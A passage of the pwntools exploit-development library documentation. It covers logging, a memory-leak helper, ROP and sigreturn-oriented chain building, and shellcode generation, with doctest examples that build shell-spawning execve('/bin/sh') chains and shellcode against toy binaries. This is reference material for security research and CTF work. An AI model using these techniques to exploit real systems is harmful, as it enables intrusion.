log.info("No you see me")
context.log_level = 'error'
log.info("Now you don't")
```

The purpose of this attribute is to control what gets printed to the screen, not what gets emitted. This means that you can put all logging events into a log file, while only wanting to see a small subset of them on your screen.

2.12.2 Pwnlib Developers

A module-specific logger can be imported into the module via:

```
from .log import getLogger
log = getLogger(__name__)
```

This provides an easy way to filter logging programmatically or via a configuration file for debugging.

When using `progress`, you should use the `with` keyword to manage scoping, to ensure the spinner stops if an exception is thrown.

2.12.3 Technical details

Familiarity with the `logging` module is assumed.

A `pwnlib` root logger named 'pwnlib' is created and a custom handler and formatter is installed for it. The handler determines its logging level from `context.log_level`.

Ideally `context.log_level` should only affect which records will be emitted by the handler such that e.g. logging to a file will not be changed by it. But for performance reasons it is not feasible log everything in the normal case. In particular there are tight loops inside `pwnlib.tubes.tube`, which we would like to be able to debug, but if we are not debugging them, they should not spit out messages (even to a log file). For this reason there are a few places inside `pwnlib`, that will not even emit a record without `context.log_level` being set to `logging.DEBUG` or below.

Log records created by `Progress` and `Logger` objects will set 'pwnlib_msgtype' on the `extra` field to signal which kind of message was generated. This information is used by the formatter to prepend a symbol to the message, e.g. '[+] ' in '[+] got a shell!'

This field is ignored when using the logging module's standard formatters.

All status updates (which are not dropped due to throttling) on progress loggers result in a log record being created. The `extra` field then carries a reference to the `Progress` logger as 'pwnlib_progress'.

If the custom handler determines that `term.term_mode` is enabled, log records that have a 'pwnlib_progress' in their `extra` field will not result in a message being emitted but rather an animated progress line (with a spinner!) being created. Note that other handlers will still see a meaningful log record.

The custom handler will only handle log records which a level of at least `context.log_level`. Thus if e.g. the level for the 'pwnlib.tubes.ssh' is set to 'DEBUG' no additional output will show up unless `context.log_level` is also set to 'DEBUG'. Other handlers will however see the extra log records generated by the 'pwnlib.tubes.ssh' logger.

`pwnlib.log.install_default_handler()`

Instantiates a `Handler` and `Formatter` and installs them for the `pwnlib` root logger. This function is automatically called from when importing `pwn`.

class `pwnlib.log.Progress` (*logger, msg, status, level, args, kwargs*)

Progress logger used to generate log records associated with some running job. Instances can be used as context managers which will automatically declare the running job a success upon exit or a failure upon a thrown exception. After `success()` or `failure()` is called the status can no longer be updated.

This class is intended for internal use. Progress loggers should be created using `Logger.progress()`.

status (*status, *args, **kwargs*)

Logs a status update for the running job.

If the progress logger is animated the status line will be updated in place.

Status updates are throttled at one update per 100ms.

success (*status = 'Done', *args, **kwargs*)

Logs that the running job succeeded. No further status updates are allowed.

If the `Logger` is animated, the animation is stopped.

failure (*message*)

Logs that the running job failed. No further status updates are allowed.

If the `Logger` is animated, the animation is stopped.

class `pwnlib.log.Logger` (*logger=None*)

A class akin to the `logging.LoggerAdapter` class. All public methods defined on `logging.Logger` instances are defined on this class.

Also adds some pwnlib flavor:

- `progress()` (alias `waitfor()`)
- `success()`
- `failure()`
- `indented()`
- `info_once()`
- `warning_once()` (alias `warn_once()`)

Adds pwnlib-specific information for coloring, indentation and progress logging via log records `extra` field.

Loggers instantiated with `getLogger()` will be of this class.

progress (*message*, *status=''*, **args*, *level=logging.INFO*, ***kwargs*) → Progress

Creates a new progress logger which creates log records with log level *level*.

Progress status can be updated using `Progress.status()` and stopped using `Progress.success()` or `Progress.failure()`.

If `term.term_mode` is enabled the progress logger will be animated.

The progress manager also functions as a context manager. Using context managers ensures that animations stop even if an exception is raised.

```
with log.progress('Trying something...') as p:
    for i in range(10):
        p.status("At %i" % i)
        time.sleep(0.5)
    x = 1/0
```

waitfor (**args*, ***kwargs*)

Alias for `progress()`.

indented (*message*, **args*, *level = logging.INFO*, ***kwargs*)

Log a message but don't put a line prefix on it.

Parameters *level* (*int*) – Alternate log level at which to set the indented message. Defaults to `logging.INFO`.

success (*message*, **args*, ***kwargs*)

Logs a success message.

failure (*message*, **args*, ***kwargs*)

Logs a failure message.

info_once (*message*, **args*, ***kwargs*)

Logs an info message. The same message is never printed again.

warning_once (*message*, **args*, ***kwargs*)

Logs a warning message. The same message is never printed again.

warn_once (**args*, ***kwargs*)

Alias for `warning_once()`.

debug (*message*, **args*, ***kwargs*)

Logs a debug message.

info (*message*, **args*, ***kwargs*)

Logs an info message.

warning (*message*, *args, **kwargs)

Logs a warning message.

warn (*args, **kwargs)

Alias for `warning()`.

error (*message*, *args, **kwargs)

To be called outside an exception handler.

Logs an error message, then raises a `PwnlibException`.

exception (*message*, *args, **kwargs)

To be called from an exception handler.

Logs a error message, then re-raises the current exception.

critical (*message*, *args, **kwargs)

Logs a critical message.

log (*level*, *message*, *args, **kwargs)

Logs a message with log level *level*. The `pwnlib` formatter will use the default `logging` formater to format this message.

isEnabledFor (*level*) → bool

See if the underlying logger is enabled for the specified level.

setLevel (*level*)

Set the logging level for the underlying logger.

addHandler (*handler*)

Add the specified handler to the underlying logger.

removeHandler (*handler*)

Remove the specified handler from the underlying logger.

class `pwnlib.log.Formatter` (*fmt=None*, *datefmt=None*, *style='%'*)

Logging formatter which performs custom formatting for log records containing the `'pwnlib_msgtype'` attribute. Other records are formatted using the `logging` modules default formatter.

If `'pwnlib_msgtype'` is set, it performs the following actions:

- A prefix looked up in `_msgtype_prefixes` is prepended to the message.
- The message is prefixed such that it starts on column four.
- If the message spans multiple lines they are split, and all subsequent lines are indented.

This formatter is used by the handler installed on the `'pwnlib'` logger.

2.13 `pwnlib.memleak` — Helper class for leaking memory

class `pwnlib.memleak.MemLeak` (*f*, *search_range=20*, *reraise=True*)

`MemLeak` is a caching and heuristic tool for exploiting memory leaks.

It can be used as a decorator, around functions of the form:

```
def some_leaker(addr): ... return data_as_string_or_None
```

It will cache leaked memory (which requires either non-randomized static data or a continuous session). If required, dynamic or known data can be set with the set-functions, but this is usually not required. If a byte cannot be recovered, it will try to leak nearby bytes in the hope that the byte is recovered as a side-effect.

Parameters

- **f** (*function*) – The leaker function.
- **search_range** (*int*) – How many bytes to search backwards in case an address does not work.
- **reraise** (*bool*) – Whether to reraise call `pwntools.log.warning()` in case the leaker function throws an exception.

Example

```

>>> import pwntools
>>> binsh = pwntools.util.misc.read('/bin/sh', mode='rb')
>>> @pwntools.memleak.MemLeak
... def leaker(addr):
...     print("leaking 0x%x" % addr)
...     return binsh[addr:addr+4]
>>> leaker.s(0)[:4]
leaking 0x0
leaking 0x4
b'\x7fELF'
>>> leaker[:4]
b'\x7fELF'
>>> hex(leaker.d(0))
'0x464c457f'
>>> hex(leaker.clearb(1))
'0x45'
>>> hex(leaker.d(0))
leaking 0x1
'0x464c457f'
>>> @pwntools.memleak.MemLeak
... def leaker(addr):
...     if addr & 0xff == 0:
...         print("leaker failed 0x%x" % addr)
...         return
...     print("leaking 0x%x" % addr)
...     return binsh[addr:addr+4]
>>> leaker.d(0)
leaker failed 0x0
>>> leaker.d(0x100) == pwntools.util.packing.u32(binsh[0x100:0x104])
leaker failed 0x100
leaking 0xff
leaking 0x103
True
>>> leaker[0xf0:0x110] == binsh[0xf0:0x110] == leaker.n(0xf0, 0x20)
leaking 0xf0
leaking 0xf4
leaking 0xf8
leaking 0xfc
leaking 0x107
leaking 0x10b
leaking 0x10f
True
>>> import ctypes
>>> class MyStruct(ctypes.Structure):
...     _pack_ = True
...     _fields_ = [("a", ctypes.c_char),
...                 ("b", ctypes.c_uint32),]

```

```
>>> leaker.field(0x101, MyStruct.b) == leaker.d(0x102)
True
```

b(*addr*, *ndx=0*) → int
Leak byte at ((uint8_t*) *addr*) [*ndx*]

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode('utf8')
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

clearb(*addr*, *ndx=0*) → int
Clears byte at ((uint8_t*) *addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: b'a'}
>>> l.n(0, 1) == b'a'
True
>>> l.clearb(0) == unpack(b'a', 8)
True
>>> l.cache
{}
>>> l.clearb(0) is None
True
```

cleard(*addr*, *ndx=0*) → int
Clears dword at ((uint32_t*) *addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: b'a', 1: b'b', 2: b'c', 3: b'd'}
>>> l.n(0, 4) == b'abcd'
True
>>> l.cleard(0) == unpack(b'abcd', 32)
True
>>> l.cache
{}
```

clearq(*addr*, *ndx=0*) → int
Clears qword at ((uint64_t*) *addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> c = MemLeak(lambda addr: b'')
>>> c.cache = {x: b'x' for x in range(0x100, 0x108)}
>>> c.clearq(0x100) == unpack(b'xxxxxxxx', 64)
True
>>> c.cache == {}
True
```

clearw (*addr*, *ndx=0*) → int

Clears word at ((uint16_t*) *addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: b'a', 1: b'b'}
>>> l.n(0, 2) == b'ab'
True
>>> l.clearw(0) == unpack(b'ab', 16)
True
>>> l.cache
{}
```

d (*addr*, *ndx=0*) → int

Leak dword at ((uint32_t*) *addr*) [*ndx*]

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode('utf8')
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack(b'abcd', 32)
True
>>> l.d(22) == unpack(b'wxyz', 32)
True
>>> l.d(23) is None
True
```

field (*address*, *obj*)

field(*address*, *field*) => a structure field.

Leak a field from a structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field

Return Value: The type of the return value will be dictated by the type of *field*.

n (*addr*, *ndx = 0*) → bytes

Leak *numb* bytes at *addr*.

Returns A string with the leaked bytes, or *None* if any are missing

Examples

```

>>> import string
>>> data = string.ascii_lowercase.encode('ascii')
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.n(0, 1) == b'a'
True
>>> l.n(0, 26) == data
True
>>> len(l.n(0, 26)) == 26
True
>>> l.n(0, 27) is None
True

```

q(*addr*, *ndx=0*) → int
Leak qword at ((uint64_t*) *addr*)[*ndx*]

Examples

```

>>> import string
>>> data = string.ascii_lowercase.encode('utf8')
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack(b'abcdefgh', 64)
True
>>> l.q(18) == unpack(b'stuvwxyz', 64)
True
>>> l.q(19) is None
True

```

raw(*addr*, *numb*) → list
Return a list of *numb* leaked bytes at *addr*. Bytes that could not be leaked are replaced by *None*.

rawb(*addr*)
raw(*addr*) -> bytes or None
Returns the byte at *addr* or *None* if it could not be leaked.

s(*addr*) → bytes
Leak bytes at *addr* until failure or a nullbyte is found

Returns A bytes, without a NULL terminator. The returned bytes will be empty if the first byte is a NULL terminator, or if the first byte could not be retrieved.

Examples

```

>>> data = b"Hello\x00World"
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.s(0) == b"Hello"
True
>>> l.s(5) == b""
True
>>> l.s(6) == b"World"
True
>>> l.s(999) == b""
True

```

setb (*addr, val, ndx=0*)

Sets byte at ((uint8_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: b'A'}
True
```

setd (*addr, val, ndx=0*)

Sets dword at ((uint32_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

See `setw()`.

setq (*addr, val, ndx=0*)

Sets qword at ((uint64_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

See `setw()`.

sets (*addr, val, null_terminate=True*)

Set known string at *addr*, which will be optionally be null-terminated

Note that this method is a bit dumb about how it handles the data. It will null-terminate the data, but it will not stop at the first null.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.sets(0, b'H\x00ello')
>>> l.cache == {0: b'H', 1: b'\x00', 2: b'e', 3: b'l', 4: b'l', 5: b'o', 6: b'\x00'}
True
```

setw (*addr, val, ndx=0*)

Sets word at ((uint16_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: b'A', 34: b'\x00'}
True
```

struct (*address, struct*)
 struct(address, struct) => structure object

Leak an entire structure.

Parameters

- **address** (*int*) – Address of structure in memory
- **struct** (*class*) – A ctypes structure to be instantiated with leaked data

Return Value: An instance of the provided struct class, with the leaked data decoded

w (*addr, ndx=0*) → int
 Leak word at ((uint16_t*) addr)[ndx]

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode('utf8')
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack(b'ab', 16)
True
>>> l.w(24) == unpack(b'yz', 16)
True
>>> l.w(25) is None
True
```

2.14 pwntools.replacements — Replacements for various functions

Improved replacements for standard functions

pwntools.replacements.sleep(*n*)

Replacement for `time.sleep()`, which does not return if a signal is received.

Parameters *n* (*int*) – Number of seconds to sleep.

2.15 pwntools.rop — Return Oriented Programming

2.15.1 Submodules

pwntools.rop.rop — Return Oriented Programming

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let's create a fake binary which has some symbols which might have been useful.

```
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {b'read': 0xdeadbeef, b'write': 0xdecafbad, b'exit': 0xfeedface}
```

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

```
>>> rop = ROP(binary)
```

With the ROP object, you can manually add stack frames.

```
>>> rop.raw(0)
>>> rop.raw(unpack(b'abcd'))
>>> rop.raw(2)
```

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

```
>>> print(rop.dump())
0x0000:          0x0
0x0004:        0x64636261
0x0008:          0x2
```

The ROP module is also aware of how to make function calls with standard Linux ABIs.

```
>>> rop.call('read', [4, 5, 6])
>>> print(rop.dump())
0x0000:          0x0
0x0004:        0x64636261
0x0008:          0x2
0x000c:        0xdeadbeef read(4, 5, 6)
0x0010:        b'aaaa' <pad>
0x0014:          0x4 arg0
0x0018:          0x5 arg1
0x001c:          0x6 arg2
```

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

```
>>> rop.write(7, 8, 9)
>>> rop.exit()
>>> print(rop.dump())
0x0000:          0x0
0x0004:        0x64636261
0x0008:          0x2
0x000c:        0xdeadbeef read(4, 5, 6)
0x0010:        0x10000000 <adjust: add esp, 0x10; ret>
0x0014:          0x4 arg0
0x0018:          0x5 arg1
0x001c:          0x6 arg2
0x0020:        b'iaaa' <pad>
0x0024:        0xdecafbad write(7, 8, 9)
0x0028:        0x10000000 <adjust: add esp, 0x10; ret>
0x002c:          0x7 arg0
0x0030:          0x8 arg1
0x0034:          0x9 arg2
0x0038:        b'oooo' <pad>
0x003c:        0xfeedface exit()
0x0040:        b'qaaa' <pad>
```

ROP Example

Let's assume we have a trivial binary that just reads some data onto the stack, and returns.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
```

Let's provide some simple gadgets:

```
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
```

And perhaps a nice “write” function.

```
>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
```

And a way to exit cleanly.

```
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary = ELF.from_assembly(assembly)
```

Finally, let's build our ROP stack

```
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols[b'flag'], 8)
>>> rop.exit()
>>> print(rop.dump())
0x0000:      0x10000012 write(STDOUT_FILENO, 268435494, 8)
0x0004:      0x1000000e <adjust: add esp, 0x10; ret>
0x0008:              0x1 arg0
0x000c:      0x10000026 b'flag'
0x0010:              0x8 arg2
0x0014:      b'faaa' <pad>
0x0018:      0x1000002f exit()
0x001c:      b'haaa' <pad>
```

The raw data from the ROP stack is available via *bytes*.

```
>>> raw_rop = bytes(rop)
>>> print(enhex(raw_rop))
120000100e000010010000002600001008000000666161612f00001068616161
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print(p.recvall(timeout=5))
b'The flag'
```

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a `int 0x80` gadget, you can use sigreturn.

Even better, this happens automatically.

Our example binary will read some data onto the stack, and not do anything else interesting.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary = ELF.from_assembly(assembly)
```

Let's create a ROP object and invoke the call.

```
>>> context.kernel = 'amd64'
>>> rop = ROP(binary)
>>> binsh = binary.symbols[b'binsh']
>>> rop.execve(binsh, 0, 0)
```

That's all there is to it.

```
>>> print(rop.dump())
0x0000:      0x1000000e pop eax; ret
0x0004:              0x77
0x0008:      0x1000000b int 0x80
0x000c:              0x0 gs
0x0010:              0x0 fs
0x0014:              0x0 es
0x0018:              0x0 ds
0x001c:              0x0 edi
0x0020:              0x0 esi
0x0024:              0x0 ebp
0x0028:              0x0 esp
0x002c:      0x10000012 ebx = b'binsh'
0x0030:              0x0 edx
0x0034:              0x0 ecx
0x0038:              0xb eax
0x003c:              0x0 trapno
0x0040:              0x0 err
0x0044:      0x1000000b int 0x80
0x0048:              0x23 cs
0x004c:              0x0 eflags
0x0050:              0x0 esp_at_signal
0x0054:              0x2b ss
0x0058:              0x0 fpstate
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(bytes(rop))
>>> time.sleep(1)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
b'hello\n'
```

class `pwnlib.rop.rop.ROP` (*elfs*, *base=None*, *should_load_gadgets=True*, ***kwargs*)
 Class which simplifies the generation of ROP-chains.

Example

```
>>> context.clear(arch="i386", kernel='amd64')
>>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
>>> e = ELF.from_assembly(assembly)
>>> e.symbols[b'funcname'] = e.address + 0x1234
>>> r = ROP(e)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x0000:      0x10001234 funcname(1, 2)
0x0004:      0x10000003 <adjust: add esp, 0x10; ret>
0x0008:              0x1 arg0
0x000c:              0x2 arg1
0x0010:      b'eaaa' <pad>
0x0014:      b'faaa' <pad>
0x0018:      0x10001234 funcname(3)
0x001c:      0x10000007 <adjust: pop eax; ret>
0x0020:              0x3 arg0
0x0024:      0x10000007 pop eax; ret
0x0028:              0x77
0x002c:      0x10000000 int 0x80
0x0030:              0x0 gs
0x0034:              0x0 fs
0x0038:              0x0 es
0x003c:              0x0 ds
0x0040:              0x0 edi
0x0044:              0x0 esi
0x0048:              0x0 ebp
0x004c:              0x0 esp
0x0050:              0x4 ebx
0x0054:              0x6 edx
0x0058:              0x5 ecx
0x005c:              0xb eax
0x0060:              0x0 trapno
0x0064:              0x0 err
0x0068:      0x10000000 int 0x80
0x006c:              0x23 cs
0x0070:              0x0 eflags
0x0074:              0x0 esp_at_signal
0x0078:              0x2b ss
0x007c:              0x0 fpstate
```

```
>>> r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x8048000:      0x10001234 funcname(1, 2)
0x8048004:      0x10000003 <adjust: add esp, 0x10; ret>
0x8048008:              0x1 arg0
0x804800c:              0x2 arg1
0x8048010:      b'eaaa' <pad>
```

```

0x8048014:      b'faaa' <pad>
0x8048018:      0x10001234 funcname(3)
0x804801c:      0x10000007 <adjust: pop eax; ret>
0x8048020:      0x3 arg0
0x8048024:      0x10000007 pop eax; ret
0x8048028:      0x77
0x804802c:      0x10000000 int 0x80
0x8048030:      0x0 gs
0x8048034:      0x0 fs
0x8048038:      0x0 es
0x804803c:      0x0 ds
0x8048040:      0x0 edi
0x8048044:      0x0 esi
0x8048048:      0x0 ebp
0x804804c:      0x8048080 esp
0x8048050:      0x4 ebx
0x8048054:      0x6 edx
0x8048058:      0x5 ecx
0x804805c:      0xb eax
0x8048060:      0x0 trapno
0x8048064:      0x0 err
0x8048068:      0x10000000 int 0x80
0x804806c:      0x23 cs
0x8048070:      0x0 eflags
0x8048074:      0x0 esp_at_signal
0x8048078:      0x2b ss
0x804807c:      0x0 fpstate

```

align = 4

Alignment of the ROP chain; generally the same as the pointer size

base = 0

Stack address where the first byte of the ROP chain lies, if known.

build (*base=None, description=None*)

Construct the ROP chain into a list of elements which can be passed to `pwnlib.util.packing.flat`.

Parameters

- **base** (*int*) – The base address to build the rop-chain from. Defaults to *base*.
- **description** (*dict*) – Optional output argument, which will get a mapping of `address: description` for each address on the stack, starting at *base*.

call (*resolvable, arguments=(), abi=None, **kwargs*)

Add a call to the ROP chain

Parameters

- **resolvable** (*str, int*) – Value which can be looked up via ‘resolve’, or is already an integer.
- **arguments** (*list*) – List of arguments which can be passed to `pack()`. Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

chain ()

Build the ROP chain

Returns `str` containing raw ROP bytes

describe (*obj*)

Return a description for an object in the ROP stack

dump ()

Dump the ROP chain in an easy-to-read manner

elfs = []

List of ELF files which are available for mining gadgets

find_gadget (*instructions*)

Returns a gadget with the exact sequence of instructions specified in the `instructions` argument.

generatePadding (*offset, count*)

Generates padding to be inserted into the ROP stack.

migrate (*next_base*)

Explicitly set `$sp`, by using a `leave; ret` gadget

migrated = False

Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous

raw (*value*)

Adds a raw integer or string to the ROP chain.

If your architecture requires aligned values, then make sure that any given string is aligned!

Parameters `data` (*int, bytes*) – The raw value to put onto the rop chain.

resolve (*resolvable*)

Resolves a symbol to an address

Parameters `resolvable` (*bytes, str, int*) – Thing to convert into an address

Returns `int` containing address of ‘resolvable’, or `None`

search (*move=0, regs=None, order='size'*)

Search for a gadget which matches the specified criteria.

Parameters

- **move** (*int*) – Minimum number of bytes by which the stack pointer is adjusted.
- **regs** (*list*) – Minimum list of registers which are popped off the stack.
- **order** (*str*) – Either the string ‘size’ or ‘regs’. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

If `order == 'size'`, then gadgets are compared lexicographically by `(total_moves, total_regs, addr)`, otherwise by `(total_regs, total_moves, addr)`.

Returns `pwnlib.rop.gadgets.Gadget` object

search_iter (*move=None, regs=None*)

Iterate through all gadgets which move the stack pointer by *at least* `move` bytes, and which allow you to set all registers in `regs`.

setRegisters (*registers*)

Returns an `OrderedDict` of addresses/values which will set the specified register context.

Parameters `registers` (*dict*) – Dictionary of {register name: value}

Returns An `OrderedDict` of {register: sequence of gadgets, values, etc.}.

unresolve (*value*)

Inverts ‘resolve’. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

Parameters *value* (*int*) – Address to look up

Returns String containing the symbol name for the address, disassembly for a gadget (if there’s one at that address), or an empty string.

pwntools.rop.srop — Sigreturn Oriented Programming

Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which there are not convenient gadgets. The main caveat is that *all* registers are set, including ESP and EIP (or their equivalents). This means that in order to continue after using a sigreturn frame, the stack pointer must be set accordingly.

i386 Example:

Let’s just print a message out using SROP.

```
>>> message = "Hello, World"
```

First, we’ll create our example binary. It just reads some data onto the stack, and invokes the sigreturn syscall. We also make an `int 0x80` gadget available, followed immediately by `exit(0)`.

```
>>> context.clear(arch='i386')
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall:' + shellcraft.syscall()
>>> assembly += 'exit:' + 'xor ebx, ebx; mov eax, 1; int 0x80;'
>>> assembly += 'message:' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
```

Let’s construct our frame to have it invoke a write syscall, and dump the message to stdout.

```
>>> frame = SigreturnFrame(kernel='amd64')
>>> frame.eax = constants.SYS_write
>>> frame.ebx = constants.STDOUT_FILENO
>>> frame.ecx = binary.symbols[b'message']
>>> frame.edx = len(message)
>>> frame.esp = 0xdeadbeef
>>> frame.eip = binary.symbols[b'syscall']
```

Let’s start the process, send the data, and check the message.

```
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvn(len(message))
b'Hello, World'
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

amd64 Example:

```

>>> context.clear()
>>> context.arch = "amd64"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'xor rdi, rdi; mov rax, 60; syscall;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols[b'message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols[b'syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recv(len(message))
b'Hello, World'
>>> p.wait_for_close()
>>> p.poll() == 0
True

```

arm Example:

```

>>> context.clear()
>>> context.arch = "arm"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'eor r0, r0; mov r7, 0x1; swi #0;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.r7 = constants.SYS_write
>>> frame.r0 = constants.STDOUT_FILENO
>>> frame.r1 = binary.symbols[b'message']
>>> frame.r2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols[b'syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recv(len(message))
b'Hello, World'
>>> p.wait_for_close()
>>> p.poll() == 0
True

```

Mips Example:

```

>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "big"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + shellcraft.exit(0)

```



```
>>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p = run_shellcode(bytes, arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

`pwntools.runner.run_assembly_exitcode` (*assembly*)

Given an assembly listing, assemble and execute it, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
3
```

`pwntools.runner.run_shellcode_exitcode` (*bytes*)

Given assembled machine code bytes, execute them, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> run_shellcode_exitcode(bytes)
3
```

2.17 pwntools.shellcraft — Shellcode generation

The shellcode module.

This module contains functions for generating shellcode.

It is organized first by architecture and then by operating system.

Example

```
>>> print(shellcraft.i386.nop().strip('\n'))
nop
>>> print(shellcraft.i386.linux.sh())
/* push b'/bin//sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
...
```

2.17.1 Submodules

`pwnlib.shellcraft.amd64` — Shellcode for AMD64

`pwnlib.shellcraft.amd64`

Shellcraft module containing generic Intel x86_64 shellcodes.

`pwnlib.shellcraft.amd64.crash()`
 Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.amd64.infloop()`
 A two-byte infinite loop.

`pwnlib.shellcraft.amd64.itoa(v, buffer='rsp', allocate_stack=True)`
 Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.amd64.mov('rax', 0xdeadbeef)
>>> sc += shellcraft.amd64.itoa('rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.amd64.memcpy(dest, src, n)`
 Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.amd64.mov(dest, src, stack_allowed=True)`
 Move `src` into `dest` without newlines and null bytes.

If the `src` is a register smaller than the `dest`, then it will be zero-extended to fit inside the larger register.

If the `src` is a register larger than the `dest`, then only some of the bits will be used.

